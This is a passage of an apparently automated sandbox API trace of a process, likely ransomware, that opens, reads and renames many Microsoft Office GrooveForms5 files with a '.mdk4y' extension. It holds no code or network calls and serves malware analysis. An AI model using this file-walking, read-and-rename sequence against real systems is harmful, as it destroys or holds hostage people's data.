lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GROOVE.HXSrter Template.xsn", lpUsedDefaultChar=0x37df4c) returned 10 [0187.140] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0187.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826237100000) returned 1 [0187.141] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0187.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826239700000) returned 1 [0187.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826239700000) returned 1 [0187.191] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.mdk4y")) returned 1 [0187.192] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0187.192] AreFileApisANSI () returned 1 [0187.192] GetACP () returned 0x4e4 [0187.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrooveForms5", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GrooveForms5er Template.xsn", lpUsedDefaultChar=0x37df4c) returned 12 [0187.192] AreFileApisANSI () returned 1 [0187.192] GetACP () returned 0x4e4 [0187.192] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\hἀk") returned 61 [0187.200] AreFileApisANSI () returned 1 [0187.201] GetACP () returned 0x4e4 [0187.201] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0187.201] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0187.201] AreFileApisANSI () returned 1 [0187.201] GetACP () returned 0x4e4 [0187.201] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37dec0) returned 2 [0187.201] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0187.201] AreFileApisANSI () returned 1 [0187.201] GetACP () returned 0x4e4 [0187.201] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BG_ADOBE.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BG_ADOBE.GIFg", lpUsedDefaultChar=0x37dec0) returned 12 [0187.201] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_adobe.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0187.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826243200000) returned 1 [0187.202] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x614e, lpOverlapped=0x0) returned 1 [0187.204] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826243400000) returned 1 [0187.204] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826243400000) returned 1 [0187.204] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_adobe.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_adobe.gif.mdk4y")) returned 1 [0187.205] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0187.205] AreFileApisANSI () returned 1 [0187.205] GetACP () returned 0x4e4 [0187.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Casual.gif", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="bg_Casual.gif", lpUsedDefaultChar=0x37dec0) returned 13 [0187.205] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_casual.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0187.206] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826243600000) returned 1 [0187.206] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x161d, lpOverlapped=0x0) returned 1 [0187.212] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826244200000) returned 1 [0187.212] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826244200000) returned 1 [0187.213] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_casual.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_casual.gif.mdk4y")) returned 1 [0187.213] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0187.213] AreFileApisANSI () returned 1 [0187.213] GetACP () returned 0x4e4 [0187.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Country.gif", cchWideChar=14, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="bg_Country.gifr", lpUsedDefaultChar=0x37dec0) returned 14 [0187.213] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_country.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0187.214] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826244400000) returned 1 [0187.214] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7dd3, lpOverlapped=0x0) returned 1 [0187.215] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826244500000) returned 1 [0187.215] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826244500000) returned 1 [0187.216] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_country.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_country.gif.mdk4y")) returned 1 [0187.217] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0187.217] AreFileApisANSI () returned 1 [0187.217] GetACP () returned 0x4e4 [0187.217] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Earthy.gif", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="bg_Earthy.giff", lpUsedDefaultChar=0x37dec0) returned 13 [0187.217] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_earthy.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0187.217] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826244700000) returned 1 [0187.217] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x132a, lpOverlapped=0x0) returned 1 [0187.218] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826244800000) returned 1 [0187.218] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826244800000) returned 1 [0187.219] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_earthy.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Earthy.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_earthy.gif.mdk4y")) returned 1 [0187.220] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0187.220] AreFileApisANSI () returned 1 [0187.220] GetACP () returned 0x4e4 [0187.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_GreenTea.gif", cchWideChar=15, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="bg_GreenTea.gif", lpUsedDefaultChar=0x37dec0) returned 15 [0187.220] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_greentea.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0187.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826245200000) returned 1 [0187.222] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5690, lpOverlapped=0x0) returned 1 [0187.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826247700000) returned 1 [0187.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826247700000) returned 1 [0187.248] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_greentea.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_GreenTea.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_greentea.gif.mdk4y")) returned 1 [0187.249] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0187.249] AreFileApisANSI () returned 1 [0187.249] GetACP () returned 0x4e4 [0187.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Groove.gif", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="bg_Groove.gifif", lpUsedDefaultChar=0x37dec0) returned 13 [0187.249] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_groove.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0187.250] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826248000000) returned 1 [0187.250] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6a, lpOverlapped=0x0) returned 1 [0187.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826248100000) returned 1 [0187.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826248100000) returned 1 [0187.251] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_groove.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Groove.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_groove.gif.mdk4y")) returned 1 [0187.252] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0187.252] AreFileApisANSI () returned 1 [0187.252] GetACP () returned 0x4e4 [0187.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_LightSpirit.gif", cchWideChar=18, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="bg_LightSpirit.gifm", lpUsedDefaultChar=0x37dec0) returned 18 [0187.253] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_lightspirit.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0187.253] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826248300000) returned 1 [0187.253] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x21a6, lpOverlapped=0x0) returned 1 [0187.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826249700000) returned 1 [0187.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826249700000) returned 1 [0187.268] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_lightspirit.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_LightSpirit.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_lightspirit.gif.mdk4y")) returned 1 [0187.269] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0187.269] AreFileApisANSI () returned 1 [0187.269] GetACP () returned 0x4e4 [0187.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_OliveGreen.gif", cchWideChar=17, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="bg_OliveGreen.giff", lpUsedDefaultChar=0x37dec0) returned 17 [0187.269] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_olivegreen.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0187.270] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826250000000) returned 1 [0187.270] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3d57, lpOverlapped=0x0) returned 1 [0187.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826250100000) returned 1 [0187.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826250100000) returned 1 [0187.271] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_olivegreen.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_OliveGreen.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_olivegreen.gif.mdk4y")) returned 1 [0187.272] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0187.273] AreFileApisANSI () returned 1 [0187.273] GetACP () returned 0x4e4 [0187.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Premium.gif", cchWideChar=14, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="bg_Premium.gifgif", lpUsedDefaultChar=0x37dec0) returned 14 [0187.273] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_premium.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0187.273] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826250300000) returned 1 [0187.273] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1845, lpOverlapped=0x0) returned 1 [0187.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826250400000) returned 1 [0187.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826250400000) returned 1 [0187.275] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_premium.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Premium.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_premium.gif.mdk4y")) returned 1 [0187.276] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0187.276] AreFileApisANSI () returned 1 [0187.276] GetACP () returned 0x4e4 [0187.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_SlateBlue.gif", cchWideChar=16, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="bg_SlateBlue.giff", lpUsedDefaultChar=0x37dec0) returned 16 [0187.276] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_slateblue.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0187.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826250700000) returned 1 [0187.277] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5141, lpOverlapped=0x0) returned 1 [0187.278] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826250800000) returned 1 [0187.278] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826250800000) returned 1 [0187.279] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_slateblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_SlateBlue.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_slateblue.gif.mdk4y")) returned 1 [0187.280] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0187.280] AreFileApisANSI () returned 1 [0187.280] GetACP () returned 0x4e4 [0187.280] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_TexturedBlue.gif", cchWideChar=19, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="bg_TexturedBlue.gif", lpUsedDefaultChar=0x37dec0) returned 19 [0187.280] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_texturedblue.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0187.281] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826251000000) returned 1 [0187.281] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x193c, lpOverlapped=0x0) returned 1 [0187.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826252600000) returned 1 [0187.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826252600000) returned 1 [0187.297] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_texturedblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_TexturedBlue.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_texturedblue.gif.mdk4y")) returned 1 [0187.298] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0187.298] AreFileApisANSI () returned 1 [0187.298] GetACP () returned 0x4e4 [0187.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_VelvetRose.gif", cchWideChar=17, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="bg_VelvetRose.gifif", lpUsedDefaultChar=0x37dec0) returned 17 [0187.298] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_velvetrose.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0187.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826252800000) returned 1 [0187.298] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3c64, lpOverlapped=0x0) returned 1 [0187.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826253000000) returned 1 [0187.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826253000000) returned 1 [0187.300] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_velvetrose.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_VelvetRose.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_velvetrose.gif.mdk4y")) returned 1 [0187.301] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0187.301] AreFileApisANSI () returned 1 [0187.301] GetACP () returned 0x4e4 [0187.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsStyles", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: 